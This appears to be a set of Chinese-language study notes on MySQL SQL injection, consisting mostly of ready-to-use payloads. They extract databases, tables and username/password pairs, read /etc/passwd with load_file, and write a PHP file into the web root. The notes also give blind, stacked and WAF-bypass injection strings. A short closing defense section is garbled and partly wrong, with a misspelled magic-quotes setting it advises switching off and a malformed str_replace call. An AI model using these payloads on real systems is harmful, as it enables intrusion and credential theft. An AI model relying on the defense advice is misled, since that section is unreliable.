SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
注入流程
前置知识
尝试手工注入:
SQL注入:
1.判断有无注入点 and 1 = 1; true
随便输入内容 == 报错 注入
== 没有注入
2.猜解列名数量 order by %20 空格
字段 4个
3.报错,判断回显点 union
4.信息收集
数据库版本 version()
高版本:5.0
系统库: infromation 。。。
数据库名称:database()
低版本:5.0
5.使用对应SQL进行注入
数据库库名:security
. 下一级
infromation_schema.tables 查找表名
table_name
查询serurity库下面 所有的表名
database()
= 前后 连到一起
union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema=database()
表: users
如何查询表里面有那些字段?
user 字符 转行 16进制
union select 1,group_concat(column_name),3 from information_schema.columns
where table_name=0x7573657273
username password 字段数据
select username,password from users
0x3a :
union select 1,2,(select group_concat(username,0x3a,password)from users)
判断闭合符号:
id=1'
id=1"
id=1')
id=1'))
id=1")
id=1"))
高权限注入
介绍
mysql中存在4个控制权限的表,分别为user表,db表,tables_priv表,columns_priv表
select * from user where user='root' and host='localhost'\G;
mysql权限表的验证过程为:
先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。
通过身份认证后,进行权限分配,
按照user,db,tables_priv,columns_priv的顺序进行验证。
即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,
将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,
并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。
2.1 系统权限表
User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限
Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库
Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表
Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段
Procs_priv表:存放存储过程和函数级别的权限
2. MySQL 权限级别分为:
全局性的管理权限: 作用于整个MySQL实例级别
数据库级别的权限: 作用于某个指定的数据库上或者所有的数据库上
数据库对象级别的权限:作用于指定的数据库对象上(表、视图等)或者所有的数据库对象
3.查看mysql 有哪些用户:
mysql> select user,host from mysql.user;
4.查看用户对应权限
select * from user where user='root' and host='localhost'\G; #所有权限都是Y ,就是什么权限都有
5.创建 mysql 用户
有两种方式创建MySQL授权用户
执行create user/grant命令(推荐方式)
CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';
通过insert语句直接操作MySQL系统权限表
6.只提供id查询权限
grant select(id) on test.temp to test1@'localhost' identified by '123456';
7.把普通用户变成管理员
GRANT ALL PRIVILEGES ON *.* TO 'test1'@'localhost' WITH GRANT OPTION;
8.删除用户
drop user finley@'localhost';
注入语句
查询所有数据库名称
?id=-2 union select 1,group_concat(schema_name),3 from information_schema.schemata
查询数据库对应表
?id=-2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x73716c5f6462
查询表名对应字段名
?id=-2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x73716c5f7461626c65
查看数据
?id=-2 union select 1,username,password,4,5,6 from sql_db.sql_table
文件读写
文件读写原理
利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息
文件读写注入的条件
高版本MySQL添加了一个新特性secure_file_priv
,该选项限制了myslq导出文件的权限
secure_file_priv选项
# linux
cat /etc/conf
# windows
www/mysql
my.ini
利用
# 查看mysql全局变量配置
show global variables like '%secure%';
# 读写文件权限
secure_file_priv= # 对文件读写没有限制
secure_file_priv=NULL # 对文件不能进行读写
secure_file_priv=/tmp/mysql/data # 指定路径文件读写
### 常见网站绝对路径
# windows
Phpstudy phpstudy/www
phpstudy/PHPTutorial/www
Xampp xampp/htdocs
Wamp wamp/www
Appser appser/www
# linux
/var/mysql/data
/var/www/html
# 读取文件
load_file()
?id=-2 union select 1,load_file('/etc/passwd'),3,4,5,6
# 写入文件
init outfile()
into dumpfile()
?id=-2 union select 1,<?php phpinfo();?>,3,4,5,6 outfile /var/www/html/shell.php
or
?id=-2 union select 1,<?php phpinfo();?>,3,4,5,6 dumpfile /var/www/html/shell.php
数据类型
数字型注入
http://xxx.xxx.com/users.php?id=1
select * from 表 where id =1 and 1=1;
http://xxx.xxx.com/users.php?id=1 and 1=1
字符型注入
http://xxx.xxx.com/user.php?name=admin
select * from 表 where name = 'admin';
http://xxx.xxx.com/user.php?name=admin' and 1 = 1'
搜索型注入
"nid=关键字"
select * from 表名 where 字段 like '%关键字%';
"nid=关键字' and '%1%'='%1%'"
其他注入
# 常见闭合符
'
"
%
(
{
提交方式
GET方式
get注入方式比较常见,主要是通过url中传输数据到后台,带入到数据库中去执行,可利用联合注入方式直接注入
POST方式
post提交方式主要适用于表单的提交,用于登录框的注入
方法:利用BurpSuite抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可转化为网页显示
Request方式
概念:超全局变量 PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用,这些超全局变量是:
$_REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了
$_POST(获取POST传参)
$_GET(获取GET传参)
$_COOKIE(获取COOKIE传参)
$_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
HTTP头注
通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机响应消息。 这两种类型的消息有一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。 HTTP的头域包括通用头,请求头,响应头和实体头四个部分
Header头注
header注入,该注入是指利用后端验证客户端信息(比如常用的cookie验证)或者通过header中获取客户端的一些信息(比如User-Agent用户代理等其他header字段信息),因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有经过相对应的信息处理所以构成了sql注入。
报错盲注
报错盲注
updatexml()
'or updatexml(1,concat(0x7e,database(),0x7e),1)'
extractvalue()
'or extractvalue(1,concat(0x7e,database(),0x7e))'
延时盲注
使用函数
sleep() # 使计算机程序进入休眠
if(a,b,c) # 三目运算符,a条件成立,执行b,不成立执行c
mid(a,b,c) # b开始,截取a字符串的c位
substr(a,b,c) # b开始,截取a字符串的c位
left(database(),1); # left(a,b),从左侧截取a的前b为
length(database())=8 # 判断长度
ord=ascii ascii(x)=100 # 判断x的ascii值是否为100
sleep()
if()
length()
# 判断数据库长度
select * from 表 where id = 1 and sleep(if(length(database())=8,8,0));
mid()
substr()
left()
ascii()
sleep()与if()结合
适用场景ascii()
,mid()
,sleep()
select * from t1 where id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=120,sleep(3),0);
适用场景ascii()
,substr()
,sleep()
select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0);
布尔盲注
Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
# 猜数据库名字
?id=1' and ascii(mid(database(),1,1))>115--+ 非正常
?id=1' and ascii(mid(database(),1,1))>116--+ 非正常
?id=1' and ascii(mid(database(),1,1))=115--+ 正常 # s
?id=1' and ascii(mid(database(),2,1))=101--+ 正常 # e
?id=1' and ascii(mid(database(),3,1))=99--+ 正常 # c
# 猜表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 正确 # r
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确 # e
堆叠注入
在SQL
中,分号 ;
是用来表示一条sql语句的结束
?id=1';insert into users(id,username,password) values ('22','hacker','hacker')--+
WAF绕过
关键词大小写绕过
union select --------------------> unIoN SelECT
编码绕过
union select 1,2,3# ---------------> union%0aselect 1\u002c2,3%23
双写绕过
union select --------------------> uNiUNIonion selSeLectEct aNdANd
换行绕过
select * from admin where username ----------------------> \N union select 1,user() from admin
注释符内联注释
union selecte ---------------> /*!union*/ select
同义词替换
and=&&
or=||
=(等于号)=<、>
空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等
注:%0a是换行也可以替代空格
HTTP参数污染
?id=1/**&id=-1%20union%20select%201,2,3%23*/
其他
# order by 绕过(V4.0)
%20/*//--/*/
# 联合绕过
union /*!--+/*%0aselect/*!1,2,3*/ --+
# from绕过
/*!06447%23%0afrom*/
SQL注入防御
魔术引号
magic_guptes_gpc = On
改为
magic_guptes_gpc = Off
内置函数
数据类型过滤
is_int()
addslashes()
mysql_real_escape_string()
mysql_escape_string()
......
自定义关键字
str_replace()
例如:str_replace('select','union','and','or'...)